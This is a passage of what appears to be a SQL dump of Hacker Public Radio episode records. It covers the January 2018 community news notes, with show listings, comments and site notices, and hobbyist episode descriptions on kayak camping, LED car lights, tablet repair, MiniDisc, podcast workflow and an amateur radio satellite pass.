target=\"_blank\">ShareX is awesome</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=79\" target=\"_blank\">Xoke</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2467\" target=\"_blank\">2467</a></strong></td>\n    <td>Tue</td>\n    <td>2018-01-16</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2467\" target=\"_blank\">I randomly talk about my laptops</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=297\" target=\"_blank\">swift110</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2468\" target=\"_blank\">2468</a></strong></td>\n    <td>Wed</td>\n    <td>2018-01-17</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2468\" target=\"_blank\">THE WELL</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2469\" target=\"_blank\">2469</a></strong></td>\n    <td>Thu</td>\n    <td>2018-01-18</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2469\" target=\"_blank\">A flight itinerary in Bash</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2470\" target=\"_blank\">2470</a></strong></td>\n    <td>Fri</td>\n    <td>2018-01-19</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2470\" target=\"_blank\">Obamacare Update At The End Of 2017</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2471\" target=\"_blank\">2471</a></strong></td>\n    <td>Mon</td>\n    <td>2018-01-22</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2471\" target=\"_blank\">Tea Time!</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2472\" target=\"_blank\">2472</a></strong></td>\n    <td>Tue</td>\n    <td>2018-01-23</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2472\" target=\"_blank\">Forum Failure</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=107\" target=\"_blank\">lostnbronx</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2473\" target=\"_blank\">2473</a></strong></td>\n    <td>Wed</td>\n    <td>2018-01-24</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2473\" target=\"_blank\">Frotz - A Portable Z-Machine Interpreter</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=152\" target=\"_blank\">Claudio Miranda</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2474\" target=\"_blank\">2474</a></strong></td>\n    <td>Thu</td>\n    <td>2018-01-25</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2474\" target=\"_blank\">Open Source Gaming #3 The Atari Jaguar</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=354\" target=\"_blank\">TheDUDE</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2475\" target=\"_blank\">2475</a></strong></td>\n    <td>Fri</td>\n    <td>2018-01-26</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2475\" target=\"_blank\">Information Underground -- Sex, Drugs, and Rock-n-Roll</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=107\" target=\"_blank\">lostnbronx</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2476\" target=\"_blank\">2476</a></strong></td>\n    <td>Mon</td>\n    <td>2018-01-29</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2476\" target=\"_blank\">Gnu Awk - Part 9</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=300\" target=\"_blank\">b-yeezi</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2477\" target=\"_blank\">2477</a></strong></td>\n    <td>Tue</td>\n    <td>2018-01-30</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2477\" target=\"_blank\">Reading Audio Books While Distracted</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=151\" target=\"_blank\">dodddummy</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2478\" target=\"_blank\">2478</a></strong></td>\n    <td>Wed</td>\n    <td>2018-01-31</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2478\" target=\"_blank\">City Of Masks - HPR_AudioBookClub</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=157\" target=\"_blank\">HPR_AudioBookClub</a></td>\n    </tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.<br/>\nThere are 33 comments in total.</p>\n<p>There are 9 comments on\n6 previous shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2399#comments\" target=\"_blank\">hpr2399</a></strong>\n(2017-10-12) \"<em>Using Super Glue to create Landmarks on Keyboards</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=151\" target=\"_blank\">dodddummy</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2399#7\" target=\"_blank\">Comment 7</a>:\ndodddummy on 2018-01-01:\n\"One more use case and a generalization\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2422#comments\" target=\"_blank\">hpr2422</a></strong>\n(2017-11-14) \"<em>Kickstarter Post Mortem</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2422#2\" target=\"_blank\">Comment 2</a>:\nKlaatu on 2018-01-12:\n\"@busybusy\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2435#comments\" target=\"_blank\">hpr2435</a></strong>\n(2017-12-01) \"<em>Server Basics 102</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2435#2\" target=\"_blank\">Comment 2</a>:\nFrank on 2018-01-02:\n\"SSH\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2435#3\" target=\"_blank\">Comment 3</a>:\nKlaatu on 2018-01-08:\n\"Re: yum whatprovides?\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2449#comments\" target=\"_blank\">hpr2449</a></strong>\n(2017-12-21) \"<em>Org-mode mobile solution</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=326\" target=\"_blank\">Brian in Ohio</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2449#1\" target=\"_blank\">Comment 1</a>:\nfolky on 2018-01-10:\n\"Orgzly\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2454#comments\" target=\"_blank\">hpr2454</a></strong>\n(2017-12-28) \"<em>The Alien Brothers Podcast - S01E02 - Strictly Hacking</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=359\" target=\"_blank\">The Alien Brothers Podcast (ABP)</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2454#2\" target=\"_blank\">Comment 2</a>:\nCasper on 2018-01-02:\n\"Delivery and Content\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2455#comments\" target=\"_blank\">hpr2455</a></strong>\n(2017-12-29) \"<em>Interface Zero RPG Part 5</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2455#4\" target=\"_blank\">Comment 4</a>:\nClaudioM on 2018-01-03:\n\"Fantastic &quot;Audio Drama&quot; version of i0!\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2455#5\" target=\"_blank\">Comment 5</a>:\nDraco Metallium on 2018-01-22:\n\"Great show!\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2455#6\" target=\"_blank\">Comment 6</a>:\nRon P on 2018-01-23:\n\"Excellent! Encore!\"</li></ul><br/>\n</li></ul>\n<p>There are 24 comments on 11 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2456#comments\" target=\"_blank\">hpr2456</a></strong>\n(2018-01-01) \"<em>HPR Community News for December 2017</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2456#1\" target=\"_blank\">Comment 1</a>:\nMike Ray on 2018-01-01:\n\"Work load\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2456#2\" target=\"_blank\">Comment 2</a>:\nMike Ray on 2018-01-01:\n\"Soldering Iron\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2456#3\" target=\"_blank\">Comment 3</a>:\nDave Morriss on 2018-01-01:\n\"Soldering Iron\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2456#4\" target=\"_blank\">Comment 4</a>:\nMike Ray on 2018-01-01:\n\"Soldering\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2456#5\" target=\"_blank\">Comment 5</a>:\nFrank on 2018-01-01:\n\"U. S. College Course Numbering\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2456#6\" target=\"_blank\">Comment 6</a>:\nDave Morriss on 2018-01-03:\n\"Learning to solder at school\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2458#comments\" target=\"_blank\">hpr2458</a></strong>\n(2018-01-03) \"<em>Chrome Plugins You Must Have</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2458#1\" target=\"_blank\">Comment 1</a>:\nXoke on 2018-01-04:\n\"You missed uMatrix\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2459#comments\" target=\"_blank\">hpr2459</a></strong>\n(2018-01-04) \"<em>free software\'s long tail</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=360\" target=\"_blank\">Joey Hess</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2459#1\" target=\"_blank\">Comment 1</a>:\ndodddummy on 2018-01-04:\n\"My new favorite episode\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2459#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2018-01-04:\n\"Thanks for this Joey\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2460#comments\" target=\"_blank\">hpr2460</a></strong>\n(2018-01-05) \"<em>The Alien Brothers Podcast - S01E03 - Decline of American Empire</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=359\" target=\"_blank\">The Alien Brothers Podcast (ABP)</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2460#1\" target=\"_blank\">Comment 1</a>:\nBrian in Ohio on 2018-01-06:\n\"alien brothers podcast\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2460#2\" target=\"_blank\">Comment 2</a>:\nKen Fallon on 2018-01-08:\n\"HPR has no length restriction\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2460#3\" target=\"_blank\">Comment 3</a>:\nRutiger of the Alien Brothers Podcast on 2018-01-08:\n\"Hi Brian from Ohio\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2460#4\" target=\"_blank\">Comment 4</a>:\nKlaatu on 2018-01-11:\n\"Another brilliant episode.\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2461#comments\" target=\"_blank\">hpr2461</a></strong>\n(2018-01-08) \"<em>Gitolite</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2461#1\" target=\"_blank\">Comment 1</a>:\njimzat on 2018-01-11:\n\"gitolite and HPR2446\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2461#2\" target=\"_blank\">Comment 2</a>:\nKlaatu on 2018-01-12:\n\"@jimzat\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2462#comments\" target=\"_blank\">hpr2462</a></strong>\n(2018-01-09) \"<em>AudioBookClub-14-Triplanetary-(First-in-the-Lensman-Series)</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=157\" target=\"_blank\">HPR_AudioBookClub</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2462#1\" target=\"_blank\">Comment 1</a>:\nAhuka on 2018-01-13:\n\"At long last!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2466#comments\" target=\"_blank\">hpr2466</a></strong>\n(2018-01-15) \"<em>ShareX is awesome</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=79\" target=\"_blank\">Xoke</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2466#1\" target=\"_blank\">Comment 1</a>:\nSundar on 2018-01-16:\n\"Useful tool for streamlining screencapture\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2466#2\" target=\"_blank\">Comment 2</a>:\nXoke on 2018-01-22:\n\"&#39;jif&#39;\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2470#comments\" target=\"_blank\">hpr2470</a></strong>\n(2018-01-19) \"<em>Obamacare Update At The End Of 2017</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2470#1\" target=\"_blank\">Comment 1</a>:\nWindigo on 2018-01-24:\n\"Thanks for the update!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2470#2\" target=\"_blank\">Comment 2</a>:\ndodddummy on 2018-01-30:\n\"Time to update for the elimination of the individual mandate?\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2470#3\" target=\"_blank\">Comment 3</a>:\nAhuka on 2018-01-31:\n\"I did cover it\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2474#comments\" target=\"_blank\">hpr2474</a></strong>\n(2018-01-25) \"<em>Open Source Gaming #3 The Atari Jaguar</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=354\" target=\"_blank\">TheDUDE</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2474#1\" target=\"_blank\">Comment 1</a>:\ndodddummy on 2018-01-23:\n\"They won&#39;t sell.\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2475#comments\" target=\"_blank\">hpr2475</a></strong>\n(2018-01-26) \"<em>Information Underground -- Sex, Drugs, and Rock-n-Roll</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=107\" target=\"_blank\">lostnbronx</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2475#1\" target=\"_blank\">Comment 1</a>:\nFrank on 2018-01-26:\n\"This Show\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2477#comments\" target=\"_blank\">hpr2477</a></strong>\n(2018-01-30) \"<em>Reading Audio Books While Distracted</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=151\" target=\"_blank\">dodddummy</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2477#1\" target=\"_blank\">Comment 1</a>:\ndodddummy on 2018-01-29:\n\"Correction\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2018-January/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2018-January/thread.html</a>\n\n\n<h2>Any other business</h2>\n<h3 id=\"reserving-shows\">Reserving Shows</h3>\n<p>Due to the recent spate of future show reservations a change of text is required. The proposed change is from:</p>\n<blockquote>\n<p>All reservations need to be approved. In the case where you wish to reserve a particular slot but do not have the media recorded, you will need to get the reservation approved in advance by the HPR Mailing List.</p>\n</blockquote>\n<p>To</p>\n<blockquote>\n<p>All reservations need to be approved. Any host can reserve any slot one year in advance by recording their show and posting it on the desired day as normal. In exceptional circumstances it possible to make a reservation, but only if there was no way to have recorded the show in time, and with approval in advance by the HPR Mailing List.</p>\n</blockquote>\n<p>This is intended only for exceptional circumstances such as a scheduled interview where we would like the audio to be released as soon after as possible, or to cover an important topical situation</p>\n<h3 id=\"upload-errors\">Upload Errors</h3>\n<p>Some uploaders are reporting 403 permission denied. This is because one of the protection scripts is checking for strange activity. We narrowed this down to \' (quote) in file names, or | (pipes) in the show notes.</p>\n<h3 id=\"new-series\">New series</h3>\n<p>Two new series have been added to the HPR system:</p>\n<ul>\n<li><em>Health and Healthcare</em> (13 episodes)</li>\n<li><em>Sound Scapes</em> (6 episodes)</li>\n</ul>\n<h3 id=\"comment-form-justification\">Comment form \'justification\'</h3>\n<p>The \'What does HPR mean to you?\' field on the comment form is required when commenting on older shows. As an anti-spam measure this field needs to completed with text which is between 20 and 200 characters in length.</p>\n<h3 id=\"tags-and-summaries\">Tags and Summaries</h3>\n<p>Thanks to <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=357\"><code>bjb</code></a> and <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=215\"><code>Windigo</code></a> for sending in updates in the past month.</p>\n<p>If you would like to contribute to the tag/summary project visit the summary page at <a href=\"https://hackerpublicradio.org/report_missing_tags.php\" class=\"uri\">https://hackerpublicradio.org/report_missing_tags.php</a> and follow the instructions there.</p>\n<!--\nvim: syntax=markdown:ts=8:sw=4:ai:et:tw=78:fo=tcqn:fdm=marker\n-->\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(2208,'2017-01-18','Kayak Camping',1502,'Kayak camping is a really fun (and affordable) way to explore the outdoors and get away.','<p>I talk about my setup for camping out of my kayak and ways to do this for very little money using stuff you already have and getting good cheap gear.</p>\r\n<p>Getting out into nature is my favorite thing and I love going where I will not see others for days at a time.</p>\r\n',1,0,0,'CC-BY-NC-SA','camping, outdoors, kayak, kayaking, boating',0,0,1),
(2214,'2017-01-26','Upgrading Vehicle Lights From Halogen to LED',1080,'A quick show about upgrading some of the lights on our vehicles from halogen to LED','<p>This episode is about the process of upgrading halogen vehicle lights to LED. I did this on my pickup truck for the interior dome light, the brake lights, the third brake light, front and back turn signal lights, the backup lights, and also for the license plate lights. While I\'m talking about this process, I also install new LED brake light bulbs on our Honda CR-V. I almost forgot to talk about the necessity of installing resistors to handle the problem of <a href=\"https://www.superbrightleds.com/blog/led-turn-signals-blinking-too-fast-hyperflashing/275/\" target=\"_blank\">hyperflashing</a> with the blinker lights.</p>\r\n\r\n<p>Click on the image below to view the photo album associated with this podcast.</p>\r\n\r\n<p><a data-flickr-embed=\"true\"  href=\"https://www.flickr.com/photos/137675441@N05/albums/72157677144739031\" title=\"LED Vehicle Light Upgrades\"><img src=\"https://c1.staticflickr.com/1/297/32110857056_07c733336a_z.jpg\" width=\"360\" height=\"640\" alt=\"LED Vehicle Light Upgrades\"/></a></p>\r\n\r\n<h2>Credits</h2>\r\n\r\n<ul>\r\n	<li>Music bumpers are from Kimiko Ishizaka\'s <em>The Open Goldberg Variations</em>: <a href=\"https://www.opengoldbergvariations.org/\">https://www.opengoldbergvariations.org/</a>, used by permission of their <a href=\"https://creativecommons.org/publicdomain/zero/1.0/\">CC0 1.0 Universal (CC0 1.0) Public Domain Dedication license</a>.</li>\r\n</ul>\r\n',238,0,0,'CC-BY-SA','DIY, Automotive, Auto Repair, Car Repair, LED, Lighting',0,0,1),
(2220,'2017-02-03','Taking apart a tablet',1716,'In which I fail to discover or correct the problem with my son\'s tablet','<p>My son\'s tablet stopped working a few days ago, so I took it apart to see if I could find the problem. I discuss my kit and give a sound seeing tour of the disassembly.</p>',257,0,0,'CC-BY-SA','repair,electronics,spudger,tablet',0,0,1),
(2212,'2017-01-24','meanderings Cyberpunk and the Minidisc',298,'The Cyberpunk history of the Sony Minidisc','<ul>\r\n<li><a href=\"https://minidisc.org/index.php\" class=\"uri\">https://minidisc.org/index.php</a></li>\r\n<li><a href=\"https://wiki.physik.fu-berlin.de/linux-minidisc/doku.php?id=qhimdtransfer\" class=\"uri\">https://wiki.physik.fu-berlin.de/linux-minidisc/doku.php?id=qhimdtransfer</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/MiniDisc\" class=\"uri\">https://en.wikipedia.org/wiki/MiniDisc</a></li>\r\n<li><a href=\"https://www.youtube.com/watch?v=uO4Hw-QREmY\" class=\"uri\">https://www.youtube.com/watch?v=uO4Hw-QREmY</a></li>\r\n</ul>',110,0,0,'CC-BY-SA','cyberpunk, minidisc, movies',0,0,1),
(2211,'2017-01-23','My podcast workflow',1558,'How I download, manage, listen to and delete podcasts','<h1 id=\"my-podcast-workflow\">My podcast workflow</h1>\r\n<p>I have been listening to podcasts for many years. I started in 2005, when I bought my first MP3 player.</p>\r\n<p>Various <a href=\"https://en.wikipedia.org/wiki/List_of_podcatchers\" title=\"List of podcatchers\">podcast downloaders</a> (or <em>podcatchers</em>) have existed over this time, some of which I have tried. Now I use a script based on <a href=\"https://lincgeek.org/bashpodder/\" title=\"Bashpodder\">Bashpodder</a>, which I have built to meet my needs. I also use a database to hold details of the feeds I subscribe to, what episodes have been downloaded, what is on a player to be listened to and what can be deleted. I have written many scripts (in Bash, Perl and Python) to manage all of this, and I will be describing the overall workflow in this episode without going into too much detail.</p>\r\n<p>I was prompted to put together this show by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=309\" title=\"folky\">folky’s</a> HPR episode <a href=\"https://hackerpublicradio.org/eps.php?id=1992\" title=\"How I&#39;m handling my podcast-subscriptions and -listening\">1992 “<em>How I’m handling my podcast-subscriptions and -listening</em>”</a>. Thanks to him for a very interesting episode.</p>\r\n<p>Refer to the full notes for the details: <a href=\"https://hackerpublicradio.org/eps/hpr2211/full_shownotes.html\" class=\"uri\">https://hackerpublicradio.org/eps/hpr2211/full_shownotes.html</a></p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/List_of_podcatchers\">Wikipedia article entitled “<em>List of podcatchers</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1992\">HPR episode 1992 from <em>folky</em></a> entitled “<em>How I’m handling my podcast-subscriptions and -listening</em>”</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1935\">HPR episode 1935 from <em>Charles in NJ</em></a> entitled “<em>Quick Bashpodder Fix</em>”</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Podcast\">Wikipedia article on the <em>Podcast</em></a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/RSS\">Wikipedia article on <em>RSS</em></a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Atom_(standard)\">Wikipedia article on the <em>Atom</em> standard</a></li>\r\n<li><a href=\"https://lincgeek.org/bashpodder/\">Bashpodder</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1656\">HPR episode 1656</a> entitled “My audio player collection”</li>\r\n<li>The <a href=\"https://github.com/davmo/fix_tags\">fix_tags</a> script on GitHub</li>\r\n<li>Information about <a href=\"https://xmlsoft.org/XSLT/xsltproc.html\">xsltproc</a></li>\r\n<li>Resources:\r\n<ul>\r\n<li>My version of <a href=\"https://hackerpublicradio.org/eps/hpr2211/parse_enclosure.xsl\">parse_enclosure.xsl</a></li>\r\n<li>My ID parser <a href=\"https://hackerpublicradio.org/eps/hpr2211/parse_id.xsl\">parse_id.xsl</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps/hpr2211/components.html\">List of all components</a> of the system described in this episode</li>\r\n</ul></li>\r\n</ul>\r\n',225,0,1,'CC-BY-SA','podcast,RSS,Atom,Rockbox,playlist,Bashpodder,PostgreSQL,XSLT',0,0,1),
(2216,'2017-01-30','Working AO-85 with my son',993,'My son and I try to make a contact on an amateur radio satellite','<h2 id=\"working-ao-85-with-my-son\">Working AO-85 with my son!</h2>\r\n<p>Given all the talk about Amateur Radio on the mailing list, I decided to record a live operation show. In this episode my son and I try to make a contact on AO-85. He eventually loses interest and it\'s just me yelling into a microphone.</p>\r\n<p>We don\'t manage to make a successful contact but we do pick up the bird. One person toward the end tried to pull us out of the noise but there were simply too many people utilizing the satellite for us to make contact. Part of that may have been my Doppler shift settings.</p>\r\n<p>Here is the pass data from gPredict (in CST) for this particular attempt:</p>\r\n<pre><code>Pass details for AO-85 (orbit 5478)\r\nObserver: KD5RYO, Siloam Springs, Arkansas\r\nLAT:36.20 LON:-94.48\r\nAOS: 2017/01/16 15:03:52 Local\r\nLOS: 2017/01/16 15:17:45 Local\r\n-----------------------------------------------------------\r\n Time                  Az      El  Range Footp  Dop   Loss \r\n-----------------------------------------------------------\r\n 2017/01/16 15:03:52 212.06  -0.00  3075  5738  2194 142.16\r\n 2017/01/16 15:04:33 212.46   2.48  2801  5720  2195 141.35\r\n 2017/01/16 15:05:15 212.94   5.23  2527  5701  2191 140.45\r\n 2017/01/16 15:05:57 213.52   8.35  2254  5682  2179 139.46\r\n 2017/01/16 15:06:38 214.26  11.99  1983  5663  2157 138.35\r\n 2017/01/16 15:07:20 215.23  16.38  1716  5644  2117 137.09\r\n 2017/01/16 15:08:02 216.60  21.92  1455  5624  2048 135.66\r\n 2017/01/16 15:08:43 218.69  29.25  1207  5604  1924 134.03\r\n 2017/01/16 15:09:25 222.35  39.50   979  5584  1692 132.22\r\n 2017/01/16 15:10:07 230.57  54.21   793  5564  1245 130.39\r\n 2017/01/16 15:10:48 261.54  72.25   683  5544   461 129.09\r\n 2017/01/16 15:11:30 347.38  69.68   687  5524  -524 129.14\r\n 2017/01/16 15:12:12  11.72  51.01   804  5503 -1288 130.50\r\n 2017/01/16 15:12:53  18.88  36.54   995  5483 -1720 132.35\r\n 2017/01/16 15:13:35  22.23  26.49  1225  5463 -1946 134.16\r\n 2017/01/16 15:14:17  24.21  19.28  1476  5442 -2069 135.78\r\n 2017/01/16 15:14:58  25.54  13.82  1739  5422 -2139 137.21\r\n 2017/01/16 15:15:40  26.52   9.47  2009  5402 -2180 138.46\r\n 2017/01/16 15:16:22  27.28   5.85  2283  5381 -2204 139.57\r\n 2017/01/16 15:17:03  27.91   2.74  2559  5361 -2218 140.56</code></pre>\r\n<p>Finally, here\'s AO-85\'s page on AMSAT: <a href=\"https://www.amsat.org/?page_id=4690\" class=\"uri\">https://www.amsat.org/?page_id=4690</a></p>\r\n<p>73 DE KD5RYO</p>',241,0,0,'CC-BY-SA','hamradio, ham, radio, amateur, satellites, projects',0,0,1),
